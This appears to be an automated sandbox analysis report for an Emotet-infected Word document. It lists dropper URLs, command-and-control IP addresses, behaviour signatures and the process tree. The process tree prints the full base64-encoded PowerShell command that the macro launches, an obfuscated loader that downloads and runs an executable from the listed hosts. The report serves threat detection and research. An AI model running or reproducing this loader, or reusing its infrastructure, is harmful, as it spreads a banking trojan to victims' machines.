Overview

overview

10

Static

static

8

emotet_e3_...oc.doc

windows7_x64

10

emotet_e3_...oc.doc

windows10_x64

10

Analysis

  • max time kernel
    143s
  • max time network
    113s
  • platform
    windows7_x64
  • resource
    win7v200722
  • submitted
    21/08/2020, 06:07

Sharing

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Report Analysis Logs

General

  • Target
    emotet_e3_5db0a578ec2441a697a5e64d6767042e8c6990814badf3d2b9a5b5821eaa4178_2020-08-21__060634._doc.doc
  • Size 184KB
  • Sample200821-lethf91dv6
  • SHA256 5db0a578ec2441a697a5e64d6767042e8c6990814badf3d2b9a5b5821eaa4178
  • MD5 SHA1 SHA512
Score
10/10
trojanbankeremotet

Malware Config

Extracted

Language

  • ps1

Source
URLs
  • exe.dropper

    https://marinamet.work/wp-admin/ksx2892006/
  • exe.dropper

    http://www.slservicebd.com/wp-content/ezP/
  • exe.dropper

    http://ajedrezenmorelos.com/imagenes/bcPAkRelh/
  • exe.dropper

    http://mckinzielaw.com/mail/HQfOiQnjpTTIp/
  • exe.dropper

    https://konican.com/cgi-bin/gpZCxzCpR/
  • exe.dropper

    https://medfront.mx/gkxbo/FXUaGblNTfMNS/
  • exe.dropper

    https://aerofoam.radishdevelopment.nl/alfacgiapi/cFGILh/

Extracted

Family

  • emotet

C2

  • 173.94.215.84:80

  • 85.25.207.108:8080

  • 178.128.14.92:8080

  • 60.125.114.64:443

  • 181.126.54.234:80

  • 157.7.164.178:8081

  • 95.216.205.155:8080

  • 216.75.37.196:8080

  • 179.62.238.49:80

  • 71.57.180.213:80

  • 172.96.190.154:8080

  • 112.78.142.170:80

  • 178.238.232.46:443

  • 177.144.130.105:443

  • 105.209.235.113:8080

  • 46.105.131.68:8080

  • 185.86.148.68:443

  • 143.95.101.72:8080

  • 75.127.14.170:8080

  • 168.0.97.6:80

rsa_pubkey.plain

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

    trojanbankeremotet
  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Emotet Payload 4 IoCs

    Detects Emotet payload in memory.

  • Blacklisted process makes network request 2 IoCs
  • Executes dropped EXE 2 IoCs
  • Drops file in System32 directory 2 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies registry class 280 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 6 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e3_5db0a578ec2441a697a5e64d6767042e8c6990814badf3d2b9a5b5821eaa4178_2020-08-21__060634._doc.doc"
    1⤵
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    PID:1680
  • C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
    powersheLL -e JABBADQAawA1AHYAdQBqAD0AKAAnAEwAbwAyACcAKwAnADUAMwBlACcAKwAnAGkAJwApADsAJgAoACcAbgBlAHcALQAnACsAJwBpACcAKwAnAHQAZQBtACcAKQAgACQAZQBOAFYAOgBUAGUATQBwAFwAbwBGAGYASQBjAGUAMgAwADEAOQAgAC0AaQB0AGUAbQB0AHkAcABlACAARABpAFIARQBDAFQAbwByAHkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAHMARQBgAGMAdQByAEkAdABgAHkAcAByAE8AYABUAG8AYwBPAGwAIgAgAD0AIAAoACcAdABsAHMAJwArACcAMQAyACcAKwAnACwAJwArACcAIAB0AGwAcwAnACsAJwAxADEALAAgACcAKwAnAHQAbABzACcAKQA7ACQAVwA3AGIAYgB3ADEAeAAgAD0AIAAoACcARABxAHIAMwB0ACcAKwAnAHkAJwArACcAbgBhACcAKQA7ACQAWQBuADcAZQBkAGIAZAA9ACgAJwBNAGkAdABhAF8AawAnACsAJwBqACcAKQA7ACQAVgB6ADQANABwAGYAawA9ACQAZQBuAHYAOgB0AGUAbQBwACsAKAAoACcASgB4ACcAKwAnAFUATwBmAGYAaQBjACcAKwAnAGUAMgAwADEAOQBKAHgAJwArACcAVQAnACkALQByAGUAUABMAEEAYwBFACAAJwBKAHgAVQAnACwAWwBDAGgAYQBSAF0AOQAyACkAKwAkAFcANwBiAGIAdwAxAHgAKwAoACcALgAnACsAJwBlAHgAZQAnACkAOwAkAEcAbQBhAG8AcQAxADIAPQAoACcASAA3ACcAKwAnAGYAaQA3AHgAbQAnACkAOwAkAEEAOQBsAGsAcgBtAHEAPQAmACgAJwBuACcAKwAnAGUAdwAnACsAJwAtAG8AYgBqACcAKwAnAGUAYwB0ACcAKQAgAE4ARQBUAC4AVwBlAEIAQwBsAEkARQBuAHQAOwAkAEQAcgBxAGkAMwBnAGUAPQAoACcAaAB0AHQAcABzADoALwAvAG0AJwArACcAYQAnACsAJwByAGkAJwArACcAbgBhACcAKwAnAG0AZQB0AC4AdwBvAHIAawAnACsAJwAvAHcAJwArACcAcAAtAGEAZAAnACsAJwBtAGkAJwArACcAbgAvAGsAcwB4ADIAOAAnACsAJwA5ADIAMAAwACcAKwAnADYALwAqAGgAdAB0AHAAOgAnACsAJwAvAC8AdwB3AHcALgBzAGwAJwArACcAcwBlAHIAdgBpACcAKwAnAGMAZQBiACcAKwAnAGQALgBjAG8AJwArACcAbQAnACsAJwAvAHcAcAAtAGMAbwBuAHQAZQBuACcAKwAnAHQALwBlAHoAUAAvACoAaAAnACsAJwB0ACcAKwAnAHQAcAA6AC8ALwBhAGoAZQBkACcAKwAnAHIAJwArACcAZQB6AGUAJwArACcAbgBtAG8AcgBlAGwAbwBzACcAKwAnAC4AYwBvAG0ALwBpAG0AYQBnAGUAJwArACcAbgAnACsAJwBlAHMAJwArACcALwAnACsAJwBiAGMAUABBAGsAUgBlAGwAaAAvACoAaAB0AHQAcAA6AC8AJwArACcALwAnACsAJwBtACcAKwAnAGMAawBpAG4AegBpAGUAbABhAHcALgBjACcAKwAnAG8AJwArACcAbQAvAG0AYQBpAGwAJwArACcALwAnACsAJwBIAFEAZgBPAGkAUQBuACcAKwAnAGoAJwArACcAcABUAFQASQAnACsAJwBwAC8AJwArACcAKgBoAHQAJwArACcAdAAnACsAJwBwAHMAOgAvACcAKwAnAC8AJwArACcAawBvAG4AaQBjAGEAbgAuAGMAJwArACcAbwAnACsAJwBtAC8AYwAnACsAJwBnAGkAJwArACcALQAnACsAJwBiACcAKwAnAGkAbgAvAGcAJwArACcAcABaAEMAeAAnACsAJwB6AEMAcAAnACsAJwBSAC8AKgBoACcAKwAnAHQAdAAnACsAJwBwAHMAOgAvAC8AbQBlAGQAZgByAG8AJwArACcAbgB0AC4AbQB4AC8AZwBrACcAKwAnAHgAYgBvAC8ARgAnACsAJwBYACcAKwAnAFUAYQBHAGIAbAAnACsAJwBOAFQAZgBNAE4AUwAvACoAJwArACcAaAB0AHQAcABzACcAKwAnADoALwAnACsAJwAvAGEAZQByACcAKwAnAG8AZgBvAGEAbQAuAHIAYQBkACcAKwAnAGkAcwBoAGQAJwArACcAZQB2AGUAJwArACcAbABvAHAAbQBlACcAKwAnAG4AdAAuAG4AbAAnACsAJwAvACcAKwAnAGEAbABmAGEAYwBnAGkAYQBwAGkALwAnACsAJwBjACcAKwAnAEYAJwArACcARwBJAEwAJwArACcAaAAvACcAKQAuACIAUwBgAHAATABJAHQAIgAoAFsAYwBoAGEAcgBdADQAMgApADsAJABIAHcAeABoAG4AcABuAD0AKAAnAFIAdgAnACsAJwBrADgAegAyACcAKwAnAGYAJwApADsAZgBvAHIAZQBhAGMAaAAoACQAVQA3AHkAaQBtAGsANAAgAGkAbgAgACQARAByAHEAaQAzAGcAZQApAHsAdAByAHkAewAkAEEAOQBsAGsAcgBtAHEALgAiAEQATwBgAHcAYABOAGwAbwBBAGAAZABmAEkATABFACIAKAAkAFUANwB5AGkAbQBrADQALAAgACQAVgB6ADQANABwAGYAawApADsAJABGAG0AawBsAG0AdwAzAD0AKAAnAFAAJwArACcAaQA1AGgAJwArACcAOAA2AG4AJwApADsASQBmACAAKAAoAC4AKAAnAEcAZQAnACsAJwB0AC0AJwArACcASQB0AGUAbQAnACkAIAAkAFYAegA0ADQAcABmAGsAKQAuACIATABFAG4AYABnAHQAaAAiACAALQBnAGUAIAAzADcAMwA4ADkAKQAgAHsALgAoACcASQBuAHYAJwArACcAbwAnACsAJwBrAGUALQBJAHQAZQBtACcAKQAoACQAVgB6ADQANABwAGYAawApADsAJABDADIAbgB4AGIAYwA1AD0AKAAnAFIAMgA2ACcAKwAnAHEAJwArACcANgAwAHUAJwApADsAYgByAGUAYQBrADsAJABaAGEAdABtAGIAZAB5AD0AKAAnAEwAdwAnACsAJwBmAHYAZgBxADUAJwApAH0AfQBjAGEAdABjAGgAewB9AH0AJABLAGEAdgBfADQAdABnAD0AKAAnAEwAbQAnACsAJwB5ADYAOAAzADMAJwApAA==
    1⤵
    • Process spawned unexpected child process
    • Blacklisted process makes network request
    • Drops file in System32 directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:1960
    • C:\Users\Admin\AppData\Local\Temp\Office2019\Dqr3tyna.exe
      "C:\Users\Admin\AppData\Local\Temp\Office2019\Dqr3tyna.exe"
      2⤵
      • Executes dropped EXE
      • Drops file in System32 directory
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:1700
      • C:\Windows\SysWOW64\wmcodecdspps\psisdecd.exe
        "C:\Windows\SysWOW64\wmcodecdspps\psisdecd.exe"
        3⤵
        • Executes dropped EXE
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of SetWindowsHookEx
        PID:2016

Network

        MITRE ATT&CK Matrix

        Replay Monitor

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        Downloads

        memory/1272-25-0x000007FEEF260000-0x000007FEEF4DA000-memory.dmp
        Download

        memory/1680-15-0x0000000002180000-0x0000000002181000-memory.dmp
        Download

        memory/1680-3-0x0000000006D50000-0x0000000006F50000-memory.dmp
        Download

        memory/1680-4-0x0000000006D50000-0x0000000006F50000-memory.dmp
        Download

        memory/1680-6-0x000000000ACD0000-0x000000000ACD4000-memory.dmp
        Download

        memory/1680-7-0x000000000BD50000-0x000000000BD54000-memory.dmp
        Download

        memory/1680-2-0x0000000008890000-0x0000000008894000-memory.dmp
        Download

        memory/1700-20-0x00000000002D0000-0x00000000002DC000-memory.dmp
        Download

        memory/1960-16-0x000000001B420000-0x000000001B421000-memory.dmp
        Download

        memory/1960-17-0x000000001C400000-0x000000001C401000-memory.dmp
        Download

        memory/1960-14-0x0000000002550000-0x0000000002551000-memory.dmp
        Download

        memory/1960-13-0x0000000002520000-0x0000000002521000-memory.dmp
        Download

        memory/1960-12-0x000000001AB70000-0x000000001AB71000-memory.dmp
        Download

        memory/1960-11-0x00000000022D0000-0x00000000022D1000-memory.dmp
        Download

        memory/1960-10-0x000007FEE9520000-0x000007FEE9F0C000-memory.dmp
        Download

        memory/2016-24-0x00000000001E0000-0x00000000001EC000-memory.dmp
        Download